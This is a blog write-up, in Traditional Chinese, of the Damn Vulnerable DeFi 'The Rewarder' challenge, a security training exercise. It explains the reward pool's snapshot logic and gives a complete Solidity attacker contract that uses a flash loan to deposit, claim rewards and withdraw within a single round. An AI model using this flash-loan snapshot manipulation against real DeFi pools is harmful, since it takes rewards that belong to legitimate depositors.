banner
zach

zach

github
twitter
medium

該死的易受攻擊的DeFi | 獎勵者

挑戰 #4 - The Rewarder#

為了學習 solidity 和 foundry 系統,我基於 foundry 測試框架重新編寫了 damnvulnerable-defi 的解題,歡迎交流和共建~🎉

合約#

本題涉及的合約比較多,首先介紹 ERC20Snapshot 合約

ERC20Snapshot:繼承自 ERC20,通過 SnapshotId 可以追溯到每一個快照時間點的帳戶餘額和總供應量,在 ERC20 token 的 transfer 之前會通過 beforeTransfer 來更新當前快照 ID 下的帳號餘額和總供應,通常用作分紅、投票、空投等快照場景

image

這道題目中主要由 RewardToken、AccountingToken、LiquidityToken 和 TheRewarderPool 組成,它們的關係如下:

  • TheRewarderPool 對外提供 deposit 和 withdraw 方法
    • deposit:用戶存入 liquidityToken,mint 對應份額的 AccountingToken,根據當前的快照輪次 mint 出一定數目的 rewardToken,每 5 天一個新的快照輪次
    • withdraw:burn 對應份額的 AccountingToken,將用戶存入的 liquidityToken 轉移給用戶

image

除此之外,本題還提供一個閃電貸合約,可用於通過閃電貸借出 liquidityToken

測試#

  • 創建 alice bob charlie david 四名用戶,記錄為 users
  • 部署 LiquidityToken FlashLoanerPool 合約,向 FlashLoanerPool 中轉入 liquidityToken 數目為:TOKENS_IN_LENDER_POOL
  • 部署 TheRewarderPool (連帶部署 RewardToken AccountingToken)
  • 遍歷 users 數組,向每個用戶都轉入一定數目的 liquidityToken,並 deposit 到 TheRewarderPool,此時輪次為 1
  • 將區塊時間戳向後延長 5 天,再次遍歷 user 數組,依次觸發 distributeRewards,每個用戶都等分到 rewardToken,此時輪次為 2
  • 執行攻擊腳本
  • 期望當前輪次為 3,遍歷 users 數組,觸發 distributeRewards,每個用戶分到的 rewardToken 少於原來的 1/4
    • 期望 player 的 rewardToken 餘額大於 0
    • 期望 player 的 liquidityToken 數目為 0,FlashLoanerPool 中的 liquidityToken 數目不變

解題#

假設沒有任何額外的用戶操作,在下一輪次分配獎勵的時候,users 數組中的四位用戶將會繼續評分獎勵,每個用戶分到的 rewardToken 為總數的 1/4

為了達到測試腳本的期望值,需要 player 參與 rewardToken 的分配,可以通過閃電貸借出 liquidityToken,deposit 到 TheRewarderPool,此時可以觸發新一輪的 rewardToken 分配,再通過 withdraw 贖回 liquidityToken 並返還給 FlashLoanerPool

攻擊合約代碼如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";

contract Attacker {
    FlashLoanerPool flashloan;
    TheRewarderPool pool;
    DamnValuableToken dvt;
    RewardToken reward;
    address internal owner;

    constructor(address _flashloan,address _pool,address _dvt,address _reward){
        flashloan = FlashLoanerPool(_flashloan);
        pool = TheRewarderPool(_pool);
        dvt = DamnValuableToken(_dvt);
        reward = RewardToken(_reward);
        owner = msg.sender;
    }

    function attack(uint256 amount) external {
        flashloan.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) external{
        dvt.approve(address(pool), amount);
        // deposit liquidity token get reward token
        pool.deposit(amount);
        // withdraw liquidity token
        pool.withdraw(amount);
        // repay to flashloan
        dvt.transfer(address(flashloan), amount);
        reward.transfer(owner, reward.balanceOf(address(this)));
    }
}
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。